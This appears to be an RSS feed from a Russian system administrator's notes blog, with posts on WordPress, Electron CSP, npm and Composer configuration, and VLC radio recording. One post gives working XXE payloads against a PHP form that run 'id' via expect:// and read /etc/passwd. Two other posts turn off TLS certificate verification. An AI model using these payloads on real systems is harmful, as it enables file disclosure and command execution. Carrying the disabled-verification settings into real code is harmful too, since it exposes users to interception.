Архивы Web - Заметки Эникейщика https://7d3.ru/wiki/category/web Или Рутинная Работа Системного Администратора Mon, 11 Jan 2021 16:36:50 +0000 ru-RU hourly 1 https://wordpress.org/?v=7.1.4 [Attack][PHP] eXternal Entity XML (XXE) https://7d3.ru/wiki/1090 https://7d3.ru/wiki/1090#respond Fri, 03 Apr 2020 06:16:55 +0000 https://7d3.ru/?p=1090 Вводная: скрипт PHP принимает параметр в виде XML методом POST и возвращает значение переменной name [crayon-6aec8d7e18a36604093620/] Задача: Получить доступ к файловой системе. Решение: Определить какое из полей возвращает скрипт. Отправить POST-запрос: [crayon-6aec8d7e18a60914007410/] [crayon-6aec8d7e18a74724794545/] [crayon-6aec8d7e18a7c445555193/] https://habr.com/ru/company/vds/blog/454614/ https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection

Сообщение [Attack][PHP] eXternal Entity XML (XXE) появились сначала на Заметки Эникейщика.

]]>
Вводная: скрипт PHP принимает параметр в виде XML методом POST и возвращает значение переменной name

<form><name>Petr</name><phone>123123123</phone><csrf_token>HtidPUjEN2TVxe8LIgrs1MYm4y7kf69uRBQabnX3p5zFJOwqZcGolvAKSh0</csrf_token></form>

Задача: Получить доступ к файловой системе.

Решение: Определить какое из полей возвращает скрипт. Отправить POST-запрос:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe 'expect://id' >]>
<form><name>&xxe;</name><phone>123123123</phone><csrf_token>HtidPUjEN2TVxe8LIgrs1MYm4y7kf69uRBQabnX3p5zFJOwqZcGolvAKSh0</csrf_token></form>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM '/etc/hostname' >]>
<form><name>&xxe;</name><phone>123123123</phone><csrf_token>HtidPUjEN2TVxe8LIgrs1MYm4y7kf69uRBQabnX3p5zFJOwqZcGolvAKSh0</csrf_token></form>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM 'file:///etc/passwd' >]>
<form><name>&xxe;</name><phone>&xxe;</phone><csrf_token>HtidPUjEN2TVxe8LIgrs1MYm4y7kf69uRBQabnX3p5zFJOwqZcGolvAKSh0</csrf_token></form>

https://habr.com/ru/company/vds/blog/454614/
https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection

Сообщение [Attack][PHP] eXternal Entity XML (XXE) появились сначала на Заметки Эникейщика.

]]>
https://7d3.ru/wiki/1090/feed 0
[WORDPRESS] Сайт ненадолго закрыт на техническое обслуживание. Зайдите через минуту. https://7d3.ru/wiki/1014 https://7d3.ru/wiki/1014#respond Tue, 16 Apr 2019 17:59:35 +0000 https://7d3.ru/?p=1014 Проблема: вместо сайта заглушка «Сайт ненадолго закрыт на техническое обслуживание. Зайдите через минуту.» Решение: Заглушка появляется во время обновления сайта. Подождите пару минут. Не помогло? За эту заглушку отвечает файл в корне сайта .maintenance. Грохаем и сайт снова с строю.

Сообщение [WORDPRESS] Сайт ненадолго закрыт на техническое обслуживание. Зайдите через минуту. появились сначала на Заметки Эникейщика.

]]>
Проблема: вместо сайта заглушка «Сайт ненадолго закрыт на техническое обслуживание. Зайдите через минуту.»

Решение: Заглушка появляется во время обновления сайта. Подождите пару минут. Не помогло? За эту заглушку отвечает файл в корне сайта .maintenance. Грохаем и сайт снова с строю.

Сообщение [WORDPRESS] Сайт ненадолго закрыт на техническое обслуживание. Зайдите через минуту. появились сначала на Заметки Эникейщика.

]]>
https://7d3.ru/wiki/1014/feed 0
[VSCode] Version Lens — расширение для отображения версий в dependencies https://7d3.ru/wiki/903 https://7d3.ru/wiki/903#respond Tue, 24 Jul 2018 05:54:15 +0000 https://7d3.ru/?p=903 Сообщение [VSCode] Version Lens — расширение для отображения версий в dependencies появились сначала на Заметки Эникейщика.

]]>

Сообщение [VSCode] Version Lens — расширение для отображения версий в dependencies появились сначала на Заметки Эникейщика.

]]>
https://7d3.ru/wiki/903/feed 0
[Electron] Insecure Content-Security-Policy https://7d3.ru/wiki/897 https://7d3.ru/wiki/897#respond Mon, 23 Jul 2018 11:50:03 +0000 https://7d3.ru/?p=897 Electron Security Warning (Insecure Content-Security-Policy) This renderer process has either no Content Security Policy set or a policy with «unsafe-eval» enabled. This exposes users of this app to unnecessary security risks. For more information and help, consult https://electronjs.org/docs/tutorial/security. This warning will not show up once the app is packaged.   Решение: Добавить в хедеры [crayon-6aec8d7e19455456495666/] […]

Сообщение [Electron] Insecure Content-Security-Policy появились сначала на Заметки Эникейщика.

]]>
Electron Security Warning (Insecure Content-Security-Policy) This renderer process has either no Content Security Policy set or a policy with «unsafe-eval» enabled. This exposes users of this app to unnecessary security risks.

For more information and help, consult https://electronjs.org/docs/tutorial/security.
This warning will not show up once the app is packaged.

 

Решение: Добавить в хедеры

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

 

Если присутствую инлайн скрипты и ругается на
Refused to execute inline script because it violates the following Content Security Policy directive: «script-src ‘self'». Either the ‘unsafe-inline’ keyword, a hash (‘sha256-w7PFxwNT5YRCq/TbK4hTeghGFRq6Vi33EchhMUrcs8o=’), or a nonce (‘nonce-…’) is required to enable inline execution.

Копируем хеш из ошибки и добавляем в исключения

<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'sha256-w7PFxwNT5YRCq/TbK4hTeghGFRq6Vi33EchhMUrcs8o=' ">

или добавить

'unsafe-inline'

Сообщение [Electron] Insecure Content-Security-Policy появились сначала на Заметки Эникейщика.

]]>
https://7d3.ru/wiki/897/feed 0
[NODE.js] npm proxy and strict-ssl setting https://7d3.ru/wiki/895 https://7d3.ru/wiki/895#respond Mon, 23 Jul 2018 06:40:20 +0000 https://7d3.ru/?p=895 homedir/.npmrc [crayon-6aec8d7e1971d039188968/]

Сообщение [NODE.js] npm proxy and strict-ssl setting появились сначала на Заметки Эникейщика.

]]>
homedir/.npmrc

proxy http://{login}{password}@{proxy_server}:{proxy_port}
https-proxy http://{login}{password}@{proxy_server}:{proxy_port}
http-proxy http://{login}{password}@{proxy_server}:{proxy_port}
strict-ssl=false
registry=http://registry.npmjs.org/
ca=

Сообщение [NODE.js] npm proxy and strict-ssl setting появились сначала на Заметки Эникейщика.

]]>
https://7d3.ru/wiki/895/feed 0
[PHP] Composer file could not be downloaded: SSL operation failed with code 1. OpenSSL Error messages: https://7d3.ru/wiki/857 https://7d3.ru/wiki/857#respond Mon, 16 Jul 2018 13:13:39 +0000 https://7d3.ru/?p=857 [Composer\Downloader\TransportException] The «https://qqqqqqqqqq.qq/artifactory/api/composer/php-composer/packages.json» file could not be downloaded: SSL operation failed with code 1. OpenSSL Error messages: error:14090086:SSL routines:ssl3_get_server_certificate:certificate verify failed Failed to enable crypto failed to open stream: operation failed Решение: Если это возможно на вашем хосте, отключить проверку «repositories» : [{ «type»: «composer», «url» : «https://qqqqqqqqqq.qq/artifactory/api/composer/php-composer», «options»: { «ssl»: { «verify_peer»: false } […]

Сообщение [PHP] Composer file could not be downloaded: SSL operation failed with code 1. OpenSSL Error messages: появились сначала на Заметки Эникейщика.

]]>
[Composer\Downloader\TransportException]
The «https://qqqqqqqqqq.qq/artifactory/api/composer/php-composer/packages.json» file could not be downloaded: SSL operation failed with code 1. OpenSSL Error messages:
error:14090086:SSL routines:ssl3_get_server_certificate:certificate verify failed
Failed to enable crypto
failed to open stream: operation failed

Решение: Если это возможно на вашем хосте, отключить проверку

«repositories» : [{
«type»: «composer»,
«url» : «https://qqqqqqqqqq.qq/artifactory/api/composer/php-composer»,
«options»: {
«ssl»: {
«verify_peer»: false
}
}
}
],

…

«config»: {
«process-timeout»: 1800,
«disable-tls»: true,
«secure-http»: false
},

 

Сообщение [PHP] Composer file could not be downloaded: SSL operation failed with code 1. OpenSSL Error messages: появились сначала на Заметки Эникейщика.

]]>
https://7d3.ru/wiki/857/feed 0
Запись и вещание интернет радио https://7d3.ru/wiki/567 https://7d3.ru/wiki/567#respond Tue, 27 Oct 2015 07:14:24 +0000 http://7d3.ru/?p=567 Проблема: пользователи в сети слушают интернет радио. Тем самым забивают интернет канал Задача: записывать несколько радиостанций ночью и транслировать их днем Решение: используем VLC Я использую Ubuntu-server 14.04 [crayon-6aec8d7e199be831379395/] [crayon-6aec8d7e199c8227547512/]    

Сообщение Запись и вещание интернет радио появились сначала на Заметки Эникейщика.

]]>
Проблема: пользователи в сети слушают интернет радио. Тем самым забивают интернет канал

Задача: записывать несколько радиостанций ночью и транслировать их днем

Решение: используем VLC

Я использую Ubuntu-server 14.04

sudo apt install vlc
crontab -e

#убить все процессы vlc
59 19 * * * killall vlc

#запись Дорожного радио 64кбит
#0 20 * * * cvlc http://dorognoe.hostingradio.ru:8000/dor_64_no --sout "#transcode{vcodec=none,acodec=mp3,ab=64,channels=2,samplerate=44100}:std{mux=mp3,dst=/home/user/radio/dorognoe.mp3}"
#запись Дорожного радио 256кбит
0 20 * * * cvlc http://dorognoe.hostingradio.ru:8000/dorognoewithoutadvertising --sout "#transcode{vcodec=none,acodec=mp3,ab=256,channels=2,samplerate=44100}:std{mux=mp3,dst=/home/user/radio/dorognoe.mp3}"

#запись Наше радио 64кбит
#0 20 * * * cvlc http://nashe2.hostingradio.ru:80/nashe-64.mp3 --sout "#transcode{vcodec=none,acodec=mp3,ab=64,channels=2,samplerate=44100}:std{mux=mp3,dst=/home/user/radio/nashe.mp3}"
#запись Наше радио 128кбит
0 20 * * * cvlc http://nashe2.hostingradio.ru:80/nashespb128.mp3 --sout "#transcode{vcodec=none,acodec=mp3,ab=128,channels=2,samplerate=44100}:std{mux=mp3,dst=/home/user/radio/nashe.mp3}"

#запись Русское радио 96кбит
0 20 * * * cvlc http://rr.fmtuner.ru/ --sout "#transcode{vcodec=none,acodec=mp3,ab=96,channels=2,samplerate=44100}:std{mux=mp3,dst=/home/user/radio/russkoe.mp3}"

#убить все процессы vlc
59 6 * * * killall vlc

#вещание Дорожного радио 25 6кбит
0 7 * * * cvlc file:///home/user/radio/dorognoe.mp3 --sout "#transcode{vcodec=none,acodec=mp3,ab=256,channels=2,samplerate=44100}:http{mux=mp3,dst=:8080/}" -q

#вещание Наше радио 128 кбит
0 7 * * * cvlc file:///home/user/radio/nashe.mp3 --sout "#transcode{vcodec=none,acodec=mp3,ab=128,channels=2,samplerate=44100}:http{mux=mp3,dst=:8081/}" -q

#вещание Русское радио 96 кбит
0 7 * * * cvlc file:///home/user/radio/russkoe.mp3 --sout "#transcode{vcodec=none,acodec=mp3,ab=96,channels=2,samplerate=44100}:http{mux=mp3,dst=:8082/}" -q

 

 

Сообщение Запись и вещание интернет радио появились сначала на Заметки Эникейщика.

]]>
https://7d3.ru/wiki/567/feed 0
прячем wp-login.php от брутфорса https://7d3.ru/wiki/356 https://7d3.ru/wiki/356#respond Thu, 18 Sep 2014 07:21:19 +0000 http://blog.eburgpoisk.ru/?p=356 прячем средствами .htaccess [crayon-6aec8d7e19cde615646565/] PARAM — заменяем на свой, например vhod pustoj_fajl.php — по этому пути создаем пустой файл с этим именем В результате при входе по адресу /wp-admin/ или wp-login.php будет отдаваться пустая страница а по адресу wp-login.php?PARAM нормальная админка здесь описано, как сделать с отдельным урлом

Сообщение прячем wp-login.php от брутфорса появились сначала на Заметки Эникейщика.

]]>
прячем средствами .htaccess

<IfModule mod_rewrite.c>
RewriteEngine on

RewriteCond %{HTTP_REFERER} !\?PARAM$
RewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in_.*$
RewriteCond %{QUERY_STRING} !^PARAM$
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_URI} ^/wp-admin [NC]
RewriteRule ^(.*)$ /empty_file.php [R,L]

RewriteCond %{HTTP_REFERER} !\?PARAM$
RewriteCond %{HTTP_REFERER} !%2Fwp-admin%2F%3FPARAM&reauth=1$ [NC]
RewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in_.*$
RewriteCond %{QUERY_STRING} !^PARAM$
RewriteCond %{QUERY_STRING} !%2Fwp-admin%2F%3FPARAM&reauth=1$ [NC]

RewriteCond %{QUERY_STRING} !^action=logout
RewriteCond %{QUERY_STRING} !^action=rp
RewriteCond %{QUERY_STRING} !^action=postpass
RewriteCond %{REQUEST_URI} ^/wp-login\.php
RewriteRule ^(.*)$ /empty_file.php [R,L]

RewriteCond %{QUERY_STRING} ^loggedout=true
RewriteRule ^.*$ /wp-login.php?PARAM [R,L]

</IfModule>

PARAM — заменяем на свой, например vhod
pustoj_fajl.php — по этому пути создаем пустой файл с этим именем

В результате при входе по адресу /wp-admin/ или wp-login.php будет отдаваться пустая страница
а по адресу wp-login.php?PARAM нормальная админка

здесь описано, как сделать с отдельным урлом

Сообщение прячем wp-login.php от брутфорса появились сначала на Заметки Эникейщика.

]]>
https://7d3.ru/wiki/356/feed 0
WordPress заменяет двойные кавычки » наклонными https://7d3.ru/wiki/336 https://7d3.ru/wiki/336#respond Sun, 02 Feb 2014 15:13:03 +0000 http://blog.eburgpoisk.ru/?p=336 Внутри каталога вашей темы открываем файл functions.php. Если его нет — создаем. В конец файла добавляем [crayon-6aec8d7e19ff0318378998/]  

Сообщение WordPress заменяет двойные кавычки » наклонными появились сначала на Заметки Эникейщика.

]]>
Внутри каталога вашей темы открываем файл functions.php. Если его нет — создаем.
В конец файла добавляем

<?php remove_filter('the_content', 'wptexturize'); ?>

 

Сообщение WordPress заменяет двойные кавычки » наклонными появились сначала на Заметки Эникейщика.

]]>
https://7d3.ru/wiki/336/feed 0
DNS от google https://7d3.ru/wiki/243 https://7d3.ru/wiki/243#respond Fri, 21 Oct 2011 09:33:03 +0000 http://blog.eburgpoisk.ru/?p=243 С некоторого времени гугл стал предоставлять бесплатный доступ к DNS сервера 8.8.8.8 и 8.8.4.4. Пользуйтесь на здоровье, ББ следит за вами 🙂  

Сообщение DNS от google появились сначала на Заметки Эникейщика.

]]>
С некоторого времени гугл стал предоставлять бесплатный доступ к DNS сервера 8.8.8.8 и 8.8.4.4. Пользуйтесь на здоровье, ББ следит за вами 🙂

 

Сообщение DNS от google появились сначала на Заметки Эникейщика.

]]>
https://7d3.ru/wiki/243/feed 0